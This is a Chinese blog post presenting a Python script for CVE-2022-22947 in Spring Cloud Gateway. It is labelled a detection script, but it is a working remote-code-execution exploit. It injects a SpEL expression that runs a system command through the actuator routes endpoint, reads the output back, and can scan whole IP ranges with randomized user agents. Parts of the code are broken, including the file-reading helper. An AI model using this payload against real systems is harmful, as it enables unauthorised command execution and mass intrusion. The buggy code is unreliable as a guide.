CVE-2022-22947

最新推荐文章于 2024-06-03 11:16:48 发布

xuexi056

最新推荐文章于 2024-06-03 11:16:48 发布

阅读量356

点赞数

分类专栏： python 文章标签： python

本文链接：https://blog.csdn.net/xuexi056/article/details/124204939

版权

python 专栏收录该内容

2 篇文章 0 订阅

订阅专栏

Spring Cloud Gateway高危漏洞-检测脚本

import argparse
import requests,json
from IPy import IP
requests.packages.urllib3.disable_warnings


from fake_useragent import UserAgent
ua = UserAgent()
ua.update()


#定义函数检查是否有漏洞
def Ckeck_vul(target,port):
    date=json.dumps({
        "id": "test",
        "filters": [{
            "name": "AddResponseHeader",
            "args": {
                "name": "Result",
                "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"tasklist\"}).getInputStream()))}"
            }
        }],
        "uri": "https://www.baidu.com"
    })
    # proxy = '192.168.1.110:1080'
    # proxies = {
    #     "http": "http://%(proxy)s/" % {'proxy': proxy},
    #     "https": "http://%(proxy)s/" % {'proxy': proxy}
    # }
    # ip=IP(target)
    # for x in ip:
    s = requests.session()
    s.keep_alive = False
    requests.DEFAULT_RETRIES = 5
    url="http://"+target+":"+port+"/actuator/gateway/routes/test"
    # print(url)
    try:
        result1=s.post(url,date,headers={"Content-Type": "application/json","User-Agent":ua.random})
        if result1.status_code==201:
                url1 = "http://" +target+":"+port+"/actuator/gateway/refresh"
                try:
                    refreshRequest=s.post(url1,headers={'Connection': 'close',"User-Agent":ua.random})
                    # print(refreshRequest.headers)
                    # print(refreshRequest.status_code)
                    if refreshRequest.status_code==200:
                        try:
                            resuitRequest = s.get(url, headers={'Connection': 'close', "User-Agent": ua.random})
                            # print(resuitRequest.text)
                            # print(resuitRequest.status_code)
                            print("success-----------"+target)
                        except requests.exceptions.ConnectionError:
                            print("get result error")
                except requests.exceptions.ConnectionError:
                    print("refresh route error")
    except requests.exceptions.ConnectionError:
            print("connection error")


#从文件中读取目标域名
def ReadUrl(filepath):
    with open(file="filepath",mod="r",encoding='utf-8') as f:
        for url in f.readlines():
            return url

if __name__ == '__main__':
    parser=argparse.ArgumentParser()
    parser.add_argument("-t","--t",help=("目标，默认为IP段"))
    parser.add_argument("-f","--filepath",help=("域名列表文件地址"))
    parser.add_argument("-p","--port",nargs="?",type=str,help=("端口号"),default="8080")
    parser.add_argument("-i","--ip",help=("目标ip"))
    args=parser.parse_args()
    if args.ip:
        Ckeck_vul(args.ip,args.port)
    elif args.t:
        ip=IP(args.t)
        for x in ip:
            tg=x.strFullsize()
            # print(type(tg))
            # print(tg)
            Ckeck_vul(tg,args.port)
    elif args.filepath:
        tg=ReadUrl(args.filepath)
        Ckeck_vul(tg,args.port)